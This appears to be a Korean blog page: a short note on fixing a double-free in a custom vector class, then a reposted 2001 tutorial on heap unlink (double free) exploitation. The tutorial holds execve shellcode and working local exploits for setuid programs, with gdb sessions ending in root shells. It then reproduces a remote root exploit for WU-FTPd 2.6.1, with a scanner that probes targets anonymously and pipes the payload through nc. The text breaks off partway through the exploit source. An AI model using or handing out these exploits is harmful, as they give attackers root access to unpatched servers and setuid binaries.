KuroNeko

,
반응형
수정1

전에 올렸던 소스에서 Double Free Bug가 일어나서 급하게 수정했습니다.

추가한건 소멸자함수, 수정한 부분은 operator=입니다.

=============================================================================

수정2


수정하기 전의 소스에서 begin이나 rend함수를 통해 arr에 접근이 가능해져서 아래와 같은 소스로

데이터 삭제가 가능합니다.

delete [](arr.begin());

이를 방지하기위해

vector_base로 캡슐화 시켰고, 기존의 T*리턴하는 함수들을 모두 iterator로 변경하였습니다.

또, 현재 다른 STL함수들과 호환성을 위해 수정중입니다.


블로그 이미지

KuroNeko_

KuroNeko

,
반응형
=======================================================================================
  Title: Heap 기반 free() & malloc() exploit 작성하기.
  Author : 유동훈 (Xpl017Elz) in INetCop(c).
  E-mail : szoahc@hotmail.com, xpl017elz@inetcop.org
  Home: http://x82.i21c.net, http://www.inetcop.org
  Date: f. 2001/06/12 s. 2001/06/25
=======================================================================================


  * Contents -

  0x00. How to exploit chunk?
  0x01. Test exploit!
  0x02. Real exploit.기
  0x03. Reference.


P.S: 오래간만에 다시 문서를 작성해봅니다.
      아직 국내에는 Heap 공격에 관한 문서가 활성화 되지 않은 것 같습니다.
      Stack 기반의 문서와는 확연히 차이가 나지요.
      앞으로 대두될 Heap 기반의 취약점에 대해 연구해보도록 하겠습니다.

* 문서의 내용중 오류가 있다면 xpl017elz@inetcop.org로 mail 주시면 감사하겠습니다.


[-------------------------------------------------------------------------------------]

여기서 소개하는 exploit 방법은 한때 제가 연구했던 공격기법입니다.
해외에 Phrack #57/9 "Once upon a free()"라는 문서를 읽어보면 잘 알게 될 것입니다.
이 기법이 본격적으로 issue 된 것은 Synnergy 팀의 dvorak의 traceroute exploit method를
문서에 공개하면서 부터입니다. 

이 공격방법에 제가 관심을 갖게 된 것은 WU-FTPd 2.6.1 Heap 취약점이 처음 발표되었을 때로
거슬러 올라가게 됩니다. 당시 이에 관련된 문서는 Synnergy 팀의 문서와 Phrack의 문서밖에
접할수        없었습니다. 저의 모자란 영어 실력에도 불구하고 문서들을 하나하나씩 해석하며, 
전부 읽었던 때가 떠오르네요 ... ; 그렇게 시간이 흐른뒤 이번년 3월경? Phrack의 문서가
국내 해킹그룹 null@root 팀에서 번역되었다는 사실을 뒤늦게 알게 되었습니다. 
그리고, 얼마전 truefinder님의 문서도 접할수 있었습니다.

당시, 혼자 연구하고 있던 저로써는 매우 반가운 일이었습니다. 
그분들께 감사드립니다. :-)

저 역시 다른분들께 자그마한 지식을 공유하기 위해, 글 하나를 올리도록 하겠습니다.
물론 WU-FTPd가 issue 였을 당시 제가 작성했던 exploit과 traceroute exploit을 첨부하여
올리도록 하겠습니다. 부디 부족하나마 도움이 되길 빕니다.

앞에서 설명 드리는 부분은 이미 여러 문서들을 통해 보았던 내용일 것입니다.
간단하게 설명한 후 넘어가도록 하겠습니다.


0x00. How to exploit chunk?  


exploit이 가능한 취약 환경은 malloc() 함수의 선언 후 free() 함수를 연속적으로 
호출할때 일어날수 있습니다. 이것은 double free() 취약점이라 불리며, 
기존에 개발된 여러 heap 취약점 exploit에서 그 형태를 조금이나마 알 수 있습니다.
먼저, chunk에 대해 배워보도록 하겠습니다.

chunk의 구성은 bins management라는 알고리즘을 사용하고 있습니다.
malloc() 함수를 이용하여 동적 메모리를 구성하면 heap상에 chunk를 선언하게 됩니다.
이 자료구조의 정보는 다음과 같습니다.

- 사용자가 선언한 메모리 크기
- 이전에 선언된 chunk의 정보
- 실제 쓰여지는 메모리 영역
- 구조의 유지를 위해 이중연결 목록 포인터들 (Forward pointer, Back pointer)

char *mem = (char*)malloc(20);
mem은 아래 도식화된 그림의 pointer 입니다.

* malloc() 선언후 -

+-----------------------------+ <- chunk
| 사용중인 이전 chunk의 크기  |           
+-----------------------------+
| chunk의 크기              |P|           
+-----------------------------+ <- mem
| 사용자 자료의 시작 부분     | 
+-----------------------------+
| chunk의 크기                |
+-----------------------------+ <- 다음 chunk

* 사용종료를 위해 free()후 -

+-----------------------------+ <- chunk
| 사용중인 이전 chunk 크기    |
+-----------------------------+
| chunk의 크기              |P| 
+-----------------------------+ <- mem
| 다음을 가리키는 chunk 구조  |
+-----------------------------+> 이중연결 목록구조
| 이전을 가리키는 chunk 구조  |
+-----------------------------+
| 사용되지 않는 공간          |
+-----------------------------+ <- 다음 chunk
| chunk의 크기                |
+-----------------------------+

free() 과정 중 각 chunk를 관리할 때 사용 중이지 않은 이전 chunk나 이후의 chunk에 대해
병합과정을 수행합니다. 이 병합시 이중연결 목록의 각 pointer들이 바뀌는 시점에서
문제가 발생하게 됩니다. 이 내용은 Phrack에 자세히 설명되어 있습니다.

위의 "P"(PREV_INUSE)는 chunk의 사용여부를 표시합니다.
이때 "P" flag가 1로 표시되어 있을 때는 이전 chunk가 사용 중이기 때문에 병합하지 않습니다.
free()가 수행되면, 이전 chunk는 병합하게 될 것입니다.

실제적으로 문제가 되는 부분은 unlink 매크로 부분입니다.
이는 이중연결 목록의 각 이전과 다음 포인터를 바꿉니다.

BK = P -> bk; BK -> fd = FD;
FD = P -> fd; FD -> bk = BK;

Overflow 취약점을 이용하여 우리가 chunk의 수정권한을 가지고 있다면,
가짜 chunk를 작성하여 공격자가 원하는 주소의 영역을 덮을 수 있을 것입니다.
가짜 chunk header의 작성은 간단합니다. 공격자가 작성한 free()가 수행될 수 있도록
다음과 같이 작성할 수 있습니다.

-------------------------------------------------------------------------

[ prev_size ] [ size (P)] [ fd ] [ bk ]

prev_size: 이전 chunk의 크기값.
size  (P): 메모리의 현재 data section 크기.
fd       : 다음을 가리키는 chunk 구조.
bk       : 이전을 가리키는 chunk 구조.

-------------------------------------------------------------------------

공격자는 올바른 공격수행을 위해 prev_size와 size부분의 값을 조건에 맞게 구성합니다.
먼저, 읽혀질 포인터로 병합되기 위해서는 아주 작은 값을 사용해야 합니다.
이때 Null byte를 피하기 위해서 매우 큰 값을 사용하기도 합니다. 만약 공격자가 PREV_INUSE 
값을 우회하는데 성공하면 병합의 과정을 거칠 수 있게 됩니다.

그 다음에는 fd(Forward pointer)와 bk(Back pointer)를 구성해야 합니다.
Forward Pointer는 덮어쓰고자 하는 곳의 12byte를 더한 주소에 특정값을 씁니다.
그러므로 exploit에는 항상 "retloc - 0x0c"의 과정을 거칩니다.

--- * 만들어지는 가짜 chunk exploit의 구조 ------------------------------

[(0xfffffffc), (0xffffffff), (got & .dtors - 0x0c), (&shellcode)]

-------------------------------------------------------------------------

마지막으로 exploit시 주의할 점은 우리가 원하는 shellcode의 주소 다음 8byte 부분에
unlink 매크로에 의해 원하지 않은 주소값이 덮어씌워지게 된다는 사실입니다.

이 때문에 실제 NOP가 존재하는 영역의 address를 Global offset table이나 .dtors entri에
덮어쓴다고 해도 shell이 정상적으로 실행되지 않을 수 있습니다. 그렇기 때문에 기존의
x86 exploit들과는 약간 다른 code를 생성해야 합니다.

구성은 다음과 같을 것입니다.

--- * Retaddr의 8byte후의 내용 파괴를 넘기기 위해 작성한 shellcode -------

"\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"linux x86 shellcode";

-------------------------------------------------------------------------

위의 code는 10byte를 뒤로 jump해 나갑니다.
자, 그럼 실제 환경에서 exploit 해보도록 합시다.


0x01. Test exploit!


지금부터 간단하게 취약한 프로그램을 작성하여 exploit 해볼 것입니다. (*Happy exploit!)

다음은 exploit할 chunk라는 프로그램입니다.

[= source: chunk.c =====================================================]

/* Test-c0de by Xpl017Elz. */

#include <stdio.h>

int main(int argc, char **argv) {

char *x1 = (char*) malloc(100);
char *x2 = (char*) malloc(100);

if(argc < 2) {
     printf("arg\n");
     exit(-1);
}

strcpy(x1, argv[1]);

free(x1);
free(x2);

}

[=======================================================================]

[x82@xpl017elz chunk]$ su
Password:
[root@xpl017elz chunk]# gcc -o chunk chunk.c
[root@xpl017elz chunk]# chmod 6755 chunk
[root@xpl017elz chunk]# ls -al chunk
-rwsr-sr-x   1 root     root        12139 May 23 12:14 chunk
[root@xpl017elz chunk]# exit
exit
[x82@xpl017elz chunk]$

먼저 간단하게 test할 exploit 환경을 만들어 보았습니다.
프로그램은 아주 기본적인 Heap기반의 malloc() & free() 취약점에 노출되어 있습니다.

----------------------------------------------------------------------------

[x82@xpl017elz chunk]$ cp chunk bak
[x82@xpl017elz chunk]$ gdb -q bak
(gdb) r `perl -e 'print "x"x99'`
Starting program: /tmp/chunk/bak `perl -e 'print "x"x99'`

Program exited with code 0100.
(gdb) r `perl -e 'print "x"x100'`
Starting program: /tmp/chunk/bak `perl -e 'print "x"x100'`

Program received signal SIGSEGV, Segmentation fault.
0x40071ee9 in chunk_free (ar_ptr=0x40106040, p=0x8049800) at malloc.c:3047
3047    malloc.c: 그런 파일이나 디렉토리가 없음.
(gdb) where
#0  0x40071ee9 in chunk_free (ar_ptr=0x40106040, p=0x8049800) at malloc.c:
#1  0x40071d75 in __libc_free (mem=0x8049808) at malloc.c:2959
#2  0x80484ff in main ()
#3  0x400311eb in __libc_start_main (main=0x80484a0 <main>, argc=2,
     argv=0xbffffa84, init=0x8048328 <_init>, fini=0x804853c <_fini>,
     rtld_fini=0x4000a610 <_dl_fini>, stack_end=0xbffffa7c)
     at ../sysdeps/generic/libc-start.c:90
(gdb) x/10 0x8049800
0x8049800:      0x00000000      0x00000069      0x78787878      0x78787878
0x8049810:      0x78787878      0x78787878      0x78787878      0x78787878
0x8049820:      0x78787878      0x78787878
(gdb)

----------------------------------------------------------------------------

Segmentation fault가 일어난 것을 볼 수 있습니다.
그렇다면 우리가 앞서 공부한 이론과 같이 exploit을 coding 해봅시다.
이 작업은 매우 민감한 부분입니다. 정확히 segfault 지점을 기억하고,
기타 ... 여러 가지 필요한 정보 사항들을 debugging 하여 알아내야 할 것입니다.
위 프로그램의 exploit은 다음과 같이 작성할 수 있습니다.

[= source: chkxpl.c ====================================================]

/* Test Xploit-c0de by Xpl017Elz. */

#include <stdio.h>

#define DTORS 0x08049584
#define SHELLCODE 0x41414141 
/* testing후, &shellcode 주소로 변경됩니다. */

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() {

     char x0x[200];

     memset(x0x, 0, 200);
     memset(x0x, 0x90, 96); /* 96byte의 내용을 NOP로 채웁니다. */

     memcpy(x0x+38, shellcode, strlen(shellcode)); 
                        /* 이 부분에 shellcode를 집어넣습니다. */

    /* 
    ** 우리가 retloc에 덮어쓴 shellcode + 8byte 주소를
    ** 넘어가기 위해 작성합니다.
    */

    *(long*)&x0x[16] = 0x0ceb0ceb;
    *(long*)&x0x[96] = 0xfffffffc; /* Fake Chunk header. */
    *(long*)&x0x[100] = 0xffffffff;
    *(long*)&x0x[104] = DTORS - 12; // .dtors를 덮어씁니다.
    *(long*)&x0x[108] = SHELLCODE; // &shellcode 주소입니다.

    execl("./bak", "bak", x0x, 0); 
    // 먼저 우리의 bak 프로그램을 test 해보아야 합니다.
/* execl("./chunk", "chunk", x0x, 0); // 취약 프로그램을 exploit. */

}

[=======================================================================]

먼저 testing 해보겠습니다.

----------------------------------------------------------------------------

[x82@xpl017elz chunk]$ gcc -o chkxpl chkxpl.c
[x82@xpl017elz chunk]$
[x82@xpl017elz chunk]$ ./chkxpl
Segmentation fault
[x82@xpl017elz chunk]$ gdb -q chkxpl
(gdb) r
Starting program: /tmp/chunk/chkxpl

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40001780 in _start () at rtld.c:142
142     rtld.c: 그런 파일이나 디렉토리가 없음.
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x40071eec in chunk_free (ar_ptr=0x40106040, p=0x8049800) at malloc.c:3047
3047    malloc.c: 그런 파일이나 디렉토리가 없음.
(gdb) x/10 0x08049584
0x8049584 <p.2>:        0x41414141      0x080495b8      0x400126b0     ...
                         ~~~~~~~~~~
0x8049594 <force_to_data+8>:    0x400f78e0      0x4007133c      0x0804838e 
0x80495a4 <shellcode+4>:        0x080483ae      0x080483be
(gdb) x/10 0x8049800
0x8049800:      0x00000000      0x00000069      0x90909090      0x90909090
0x8049810:      0x90909090      0x90909090      0x0ceb0ceb      0x90909090
                                                 ~~~~~~~~~~
0x8049820:      0x90909090      0x90909090
(gdb)
0x8049828:      0x90909090      0x1feb9090      0x0876895e      0x4688c031
0x8049838:      0x0c468907      0xf3890bb0      0x8d084e8d      0x80cd0c56
0x8049848:      0xd889db31      0xe880cd40
(gdb)

----------------------------------------------------------------------------

역시 예상대로 .dtors의 내용을 우리가 원하는 값인 0x41414141로 덮어쓰는데
성공했습니다. 뿐만 아니라 0x0ceb0ceb의 주소값도 알아낼 수 있었습니다.
0x8049818에 존재하고 있는 것을 알 수 있습니다. 

작성된 exploit에 &shellcode 값(0x41414141)의 내용을 앞서 구한 0x08049818
주소값으로 변경합니다. 그리고 실제 "./chunk" 프로그램을 실행하기 위해 주석을
지우고 컴파일합니다.

----------------------------------------------------------------------------

[x82@xpl017elz chunk]$ gcc -o chkxpl chkxpl.c
[x82@xpl017elz chunk]$ ./chkxpl
bash# whoami
root
bash# id
uid=500(x82) gid=500(x82) euid=0(root) egid=0(root) groups=500(x82)
bash# exit
exit
[x82@xpl017elz chunk]$

----------------------------------------------------------------------------

새로운 "#"-RootShell이 실행되었습니다. :-)
위의 경우는 매우 단순한 Heap 기반의 malloc() & free() exploit 입니다.
Heap 기반의 malloc() & free() 취약점이 존재하는 프로그램은 상당수 존재합니다.
이미 취약점이 발표되었던 프로그램을 직접 찾아 exploit 해보는 것도,
연구에 매우 많은 도움이 될 것입니다.

이번엔, Wargame 문제중 ...
아주 재미있는 Heap 기반의 공격 Source Code를 exploit 해보도록 합시다.

[= source: bof.c =======================================================]

/* omg stop the insanity! */

#define BUF 514
#include <stdio.h>

int main() {

char *ptr = (char *)malloc(BUF);
char *ptr2 = (char *)malloc(15);

printf("crypt() a pass\n");
printf("Key: ");

fgets(ptr2,15,stdin);

printf("Pass: ");
sec_get(ptr);
printf("crypted pass: %s\n",crypt(ptr,ptr2));

free(ptr2);
free(ptr);

}

int sec_get(char *buf) {

int i = 0;
char stuff[1024];

fgets(stuff,sizeof(stuff),stdin);
for(i=1;stuff[i] != ' ';i++);

if (i <= BUF) {

strcpy(buf,stuff);

} else {

printf("*bounds checking kicks you in the ass\n");
exit(-1);

}
}

[=======================================================================]

[x82@xpl017elz chunk]$ su
Password:
[root@xpl017elz chunk]# gcc -o bof bof.c
ch/tmp/ccHOeZtH.o: In function `main':
/tmp/ccHOeZtH.o(.text+0x77): undefined reference to `crypt'
collect2: ld returned 1 exit status
[root@xpl017elz chunk]# gcc -o bof bof.c -lcrypt
[root@xpl017elz chunk]# chown 6755 bof
[root@xpl017elz chunk]# exit
exit
[x82@xpl017elz chunk]$
[x82@xpl017elz chunk]$ ./bof
crypt() a pass
Key: AA
Pass: PASSWORD
crypted pass: AAcvPvtmBfCNg
[x82@xpl017elz chunk]$

Salt 2byte와 Password를 받아 암호화하는 프로그램입니다.
source code를 읽어보면 아시겠지만 약간의 재미있는 tricking을 구성할 수 있습니다.
여기서 중요한 것은 sec_get() 함수입니다.

함수를 분석해보면 다음과 같습니다.

- 다음 sec_get() 함수에서 ptr을 Overflow 시킬 수 있는 취약점 발생. --------
:
:

int sec_get(char *buf) {

int i = 0;
char stuff[1024];

/*
** 1024byte를 받습니다. 
** 여기서 514byte를 초과하므로 bof가 일어날 수 있습니다.
*/
fgets(stuff,sizeof(stuff),stdin); 
for(i=1;stuff[i] != ' ';i++); /* blank 공간을 찾습니다. */

if (i <= BUF) { 
// blank 공간까지의 값을 514보다 작거나 같은지 조사합니다.

strcpy(buf,stuff); /* 조건이 성립되면, strcpy를 수행합니다. :-) */

} else {

printf("*bounds checking kicks you in the ass\n");
exit(-1);

:
:
---------------------------------------------------------------------------

이 부분에서 중요한 점은 0x20(space key)인 blank값을 조사하여 값을 비교 후 strcpy를
수행한다는 점입니다. 그렇다면, 우리는 다음과 같이 exploit 구조를 생각할 수 있습니다.

[NOP (shellcode), (0x0ceb0ceb x 4), (shellcode), (0x20202020)]
[(0xfffffffc), (0xffffffff), (.dtors - 0x0c), (&shellcode)]

다음과 같이 exploit 합니다.

[= source: bofxpl.c ====================================================]

/* bab0 free Xploit-c0de by Xpl017Elz. */

#include <stdio.h>

#define DTORS 0x080497a4 /* .dtors */
#define SHELLCODE 0x41414141 /* test &shellc0de */

char shellcode[] = /* 12byte jumpc0de + NOP + execve() shellc0de */
        "\xeb\x0c\xeb\x0c\xeb\x0c\xeb\x0c\xeb\x0c\xeb\x0c\xeb\x0c\xeb\x0c"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() {

     char x0x[0x258];
     memset(x0x, 0, 0x258);
     memset(x0x, 0x90, 0x202);

     memcpy(x0x + 0x00c8, shellcode, strlen(shellcode));

     *(long*)&x0x[508] = 0x20202020; /* blank */

     // fake chunk header :-p

     *(long*)&x0x[512] = 0xfffffffc;
     *(long*)&x0x[516] = 0xffffffff;
     *(long*)&x0x[520] = DTORS - 0x0c; /* .dtors - 12 */
     *(long*)&x0x[524] = SHELLCODE; /* &shellc0de */

     printf("x82\n");
     printf("%s", x0x);

}  

[=======================================================================]

위의 exploit을 이용해 debugging 후 shellcode의 위치를 알아냅니다.
그 후 알아낸 code의 위치 및 offset등을 setting 한 뒤 적용해보도록 하겠습니다.

----------------------------------------------------------------------------

[x82@xpl017elz chunk]$ cp bof bak
[x82@xpl017elz chunk]$ gcc -o bofxpl bofxpl.c
[x82@xpl017elz chunk]$ ./bofxpl > test
[x82@xpl017elz chunk]$ gdb -q bak
(gdb) r < test
Starting program: ./bak < test
crypt() a pass
Key: Pass: crypted pass: 삒fXqOlJuC86Q

Program received signal SIGSEGV, Segmentation fault.
0x4009feec in chunk_free (ar_ptr=0x40134040, p=0x8049a38) at malloc.c:3047
3047    malloc.c: 그런 파일이나 디렉토리가 없음.
(gdb) x/10 0x080497a4
0x80497a4 <__DTOR_END__>:       0x41414141      0x080497e4      0x400126b0
                                 ~~~~~~~~~~
0x80497b4 <_GLOBAL_OFFSET_TABLE_+12>:   0x401258e0      0x4009f33c   ...
0x80497c4 <_GLOBAL_OFFSET_TABLE_+28>:   0x4005f0ec      0x40093f4c
(gdb) x/80 $esp-1000
0xbffff674:     0x00000210      0x400a4420      0x4000a610      0xbffffa94
0xbffff684:     0x0804867f      0x08049a40      0xbffff690      0x90909090
0xbffff694:     0x90909090      0x90909090      0x90909090      0x90909090
...
0xbffff734:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff744:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff754:     0x90909090      0x0ceb0ceb      0x0ceb0ceb      0x0ceb0ceb
                                 ~~~~~~~~~~
0xbffff764:     0x0ceb0ceb      0x90909090      0x90909090      0x0ceb0ceb
0xbffff774:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff784:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff794:     0x90909090      0x895e1feb      0xc0310876      0x89074688
0xbffff7a4:     0x0bb00c46      0x4e8df389      0x0c568d08      0xdb3180cd
(gdb)  

----------------------------------------------------------------------------
  
.dtors를 0x41414141로 변경하는데 성공하였습니다.
우리가 입력했던 shellcode 안에 12byte jumpcode를 찾았습니다.
0xbffff758 주소에 있는 것을 볼 수 있습니다.
이제 이것을 exploit에 넣어 test 해보겠습니다.

----------------------------------------------------------------------------

[x82@xpl017elz chunk]$ gcc -o bofxpl bofxpl.c
[x82@xpl017elz chunk]$ ./bofxpl > test
[x82@xpl017elz chunk]$ gdb -q bak
(gdb) r < test
Starting program: ./bak < test
crypt() a pass
Key: Pass: crypted pass: 삒fXqOlJuC86Q

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40001780 in _start () at rtld.c:142
142     rtld.c: 그런 파일이나 디렉토리가 없음.
(gdb) c
Continuing.

Program exited normally.
(gdb) q
[x82@xpl017elz chunk]$   

----------------------------------------------------------------------------

Ok, 여러분! 우리의 code를 실행한 준비가 되었나요?? (*Happy exploit!)

----------------------------------------------------------------------------

[x82@xpl017elz chunk]$ (./bofxpl; cat) | ./bof
crypt() a pass

Key: Pass: crypted pass: 삒fXqOlJuC86Q

whoami
root
id
uid=500(x82) gid=500(x82) euid=0(root) egid=0(root) groups=500(x82)
exit

[x82@xpl017elz chunk]$  

----------------------------------------------------------------------------

w0w~ 즐겁군요. setreuid(), setuid() code를 넣어 사용하면, Real uid, gid
권한을 취득할 수 있겠습니다. :-)


0x02. Real exploit.


1) WU-FTPd 2.6.1 exploit.


WU-FTPd는 매우 훌륭한 FTP 서비스 데몬입니다. 각 버전마다 다른 취약점이 존재하지요.
그만큼 WU-FTPd를 많이 사용한다는 말도 됩니다. 우리나라에서는 어떤지 모르지만 ...
어쨌든 지난해 발표된 후, 이번 연초에 제가 작성했던 WU-FTPd exploit을 실어볼까 합니다.
code의 값을 구하고 대입하기 위해서는 약간의 debugging과 노가다가 필요합니다.

즐거운 exploit 시간되시길 바랍니다.

URL - http://wizard.underattack.co.kr/~x82/h0me/c0de/WOOoou~Happy-2.6.1.xplsrc/


--- Makefile ---


#
# It's the Makefile - WOOoou Xploit - Setup.
# 
happy: happy-xpl.c bugfinder.c os-plat.h
        @$(ECHO) $(CC) -o happy-xpl happy-xpl.c
        @$(ECHO) $(CC) -o bugfinder bugfinder.c
clean:
        @$(ECHO) rm -f happy-xpl bugfinder
#
# How to Make: bash$ make happy
#


--- bugfinder.c ---


/*
**
** - Auto BugFinder - exploit.
**
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>. 
** My World: http://x82.i21c.net
**
*/

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <errno.h> 
#include <netdb.h>
#include <netinet/in.h>
#include "os-plat.h"

main(int argc, char *argv[]) {

int    sockfd, num, num_, type = 0;
char                    host[0x82],
                        user[0x82],
                        pass[0x82],
                    read_buf[1024], 
                     strcode[1024],
                     execute[1024],
                 version_buf[1024];

struct                 hostent *he;
struct        sockaddr_in x82_addr;
unsigned long gotrs = 0, shell = 0,
                        chunkr = 0;

if(argc < 2) {
    printf("\n Usage: %s [hostname] [platform num] [got] [shellcode] [fakechunk]\n", argv[0]);
    system("cat ./platform.txt");
    exit(0); 
}
if(argc > 2) {
    if(atoi(argv[2]) > 11) {
        printf("\n Error, Platform Type Number: (0~ 11)\n\n");
        exit(0);
    }
    type = atoi(argv[2]);
}
if(argc > 3) {
    gotrs = strtoul(argv[3], NULL, 0);
}
if(argc > 4) {
    shell = strtoul(argv[4], NULL, 0);
}
if(argc > 5) {
    chunkr = strtoul(argv[5], NULL, 0);
}
printf("\n [+] Finding Wu-FTPd Version Bug -\n\n");
{
  strncpy(host, argv[1], 82);
  snprintf(user, 82, "USER anonymous\n"); // anonymous login 확인
  snprintf(pass, 82, "PASS xploit@xploit.x82\n");    // pass 입력
}

  if ((he=gethostbyname(host)) == NULL) 
        { herror("getbyhostname error"); exit(1); }
        
  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
        { perror("socket error"); exit(1); } 

  x82_addr.sin_family = AF_INET;     
  x82_addr.sin_port = htons(21);   
  x82_addr.sin_addr = *((struct in_addr *)he->h_addr);
  bzero(&(x82_addr.sin_zero), 8);     
  if(connect(sockfd, (struct sockaddr *)&x82_addr, sizeof(struct sockaddr)) == -1)
        { perror("connect error"); exit(1); }

memset(read_buf, 0, 1024);
recv(sockfd, read_buf, 1024, 0);
strncpy(version_buf, read_buf, 1024);
{
send(sockfd, user, strlen(user), 0);
memset(read_buf, 0, 1024);
recv(sockfd, read_buf, 1024, 0);
}
{
send(sockfd, pass, strlen(pass), 0);
memset(read_buf, 0, 1024);
recv(sockfd, read_buf, 1024, 0);
if(strstr(read_buf, "530") !=0) { // login 에러
     printf(" * Ooops, Ftpd login Error (Check! ID & Passwd)\n\n");
     close(sockfd);
     exit(0);
}}
{ 
memset(read_buf, 0, 1024);
memset(strcode,  0 ,1024);
}
sprintf(strcode,"list ~{\n");
{
send(sockfd, strcode, strlen(strcode), 0);
memset(read_buf, 0, 1024);
recv(sockfd, read_buf, 1024, 0);
close(sockfd);
}
if(strstr(read_buf, "550 Missing }") !=0) { // 취약하지 않음
  printf(" * Not Vulnerable ! :-(\n\n");
  exit(0);
}
if(gotrs > 0) {
     printf(" * OK, Finded Bug\n * Execute exploit.\n\n"); // 취약
     sprintf(execute,
             "(./happy-xpl -r %p -s %p -p %p; cat) | `which nc` %s 21",
             gotrs, shell, chunkr, argv[1]); // exploit 구동
     system(execute);
     exit(0);
} // platform type 선별방식
gotrs = plat[type].gotr;
shell = plat[type].shaddr;
chunkr = plat[type].pointr;
     printf(" * OK, Finded Bug\n * Execute exploit, Type Method.\n\n");
     sprintf(execute,
             "(./happy-xpl -t %d; cat) | `which nc` %s 21",
             plat[type].num, argv[1]); // exploit 구동
     system(execute);
     exit(0);
}


--- happy-xpl.c ---


/*
**
** ==================================================================== **
**  WOOoou-FTPd Remote root exploit for x86 RedHat Linux
** ==================================================================== **
**
** ** USE IT AT YOUR OWN RISK! **
**
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net
**
*/

#include <stdio.h> 
#include <string.h>
#include "os-plat.h"

#define POINT     0x8282bab0                /* 기본 가짜 청크 위치 */
#define CODE      0x82828282                /* 기본 shellcode 위치 */
#define GOTR      0x8282bab0        /* 기본 GlobalOffsetTable 위치 */
#define USER      "USER anonymous"                /* 기본 Username */
#define PASS      "PASS none@xploit.x82x82x82x82" /* 기본 Password */

unsigned char shellcode[] = /********* NOP "incl %eax" **********/
"@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
/********** chroot-break/execve shellcode by zen-parse **********/
"\x55\x89\xe5\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\xb0\x2e\xcd"
"\x80\xeb\x43\x5e\xb0\x27\x8d\x5e\x09\xb1\xed\xcd\x80\x31\xc9\x31"
"\xc0\xb0\x3d\xcd\x80\xba\x2e\x2e\x2f\xff\x8d\x5d\x04\xb1\x10\x89"
"\x55\x04\x83\xc5\x03\xe0\xf8\x89\x4d\x04\xb0\x3d\xcd\x80\x89\xf3"
"\x89\x75\x08\x89\x4d\x0c\xb0\x0b\x8d\x4d\x08\x8d\x55\x0c\xcd\x80"
"\x31\xc0\xb0\x01\xcd\x80\xe8\xb8\xff\xff\xff\x2f\x2f\x2f\x2f"
"/bin/su"; /* realroot :-) */

main(int argc, char *argv[]) {

   char         username[0x82] = USER,
                password[0x82] = PASS,
                        command[0x82];
                        char     *x0x;

   unsigned long gotr    =  GOTR - 12;
   int    chanx, num_0 = 0, num_1 = 0,
                             type = 0;

   char                 strcode[1024],
                     atexec[1024 * 5], 
                   maincode[1024 * 4];
   extern                char *optarg;

   unsigned long shelladdr    =  CODE;
   unsigned long pointr       = POINT;

   bzero(&atexec, 1024 * 5);
   bzero(&strcode, 1024);
   bzero(&maincode,1024 * 4);

   /********************** setting ***********************/
   // type 설정
   shelladdr = plat[type].shaddr;
   gotr   = plat[type].gotr - 12;
   pointr    = plat[type].pointr;  

   while((chanx = getopt(argc ,argv, "t:s:r:p:")) != EOF) {
   switch(chanx) {

   case 't':  type = atoi(optarg);
              if(type > 11) {
                 printf("\n Error, Platform Type Number: (0~ 11)\n\n");
                 exit(0);
              }{ // 인수에 의한 type 설정
   shelladdr = plat[type].shaddr;
   gotr   = plat[type].gotr - 12;
   pointr    = plat[type].pointr;
   }                                                break;
   case 's':  shelladdr = strtoul(optarg, NULL, 0); break;
   case 'r':  gotr = strtoul(optarg, NULL, 0) - 12; break;
   case 'p':  pointr = strtoul(optarg, NULL, 0);    break;
   case '?':  usages(argv[0]);                      break; 

   }}

   /****************** Make Fake Chunks ******************/
   // 가짜 청크 제작
   for(num_0 = 0; num_0 < 160; num_0 += 32) {

       strcode[num_0 + 0] = (0xfffffff0 & 0x000000ff) >> 0;
       strcode[num_0 + 1] = (0xffffffff & 0x0000ff00) >> 8;
       strcode[num_0 + 2] = (0xffffffff & 0x00ff0000) >>16;
       strcode[num_0 + 3] = (0xffffffff & 0xff000000) >>24; 
       strcode[num_0 + 4] = (0xfffffffc & 0x000000ff) >> 0;
       strcode[num_0 + 5] = (0xffffffff & 0x0000ff00) >> 8;
       strcode[num_0 + 6] = (0xffffffff & 0x00ff0000) >>16;
       strcode[num_0 + 7] = (0xffffffff & 0xff000000) >>24;
       strcode[num_0 + 8] =       (gotr & 0x000000ff) >> 0;
       strcode[num_0 + 9] =       (gotr & 0x0000ff00) >> 8;
       strcode[num_0 +10] =       (gotr & 0x00ff0000) >>16;
       strcode[num_0 +11] =       (gotr & 0xff000000) >>24; 
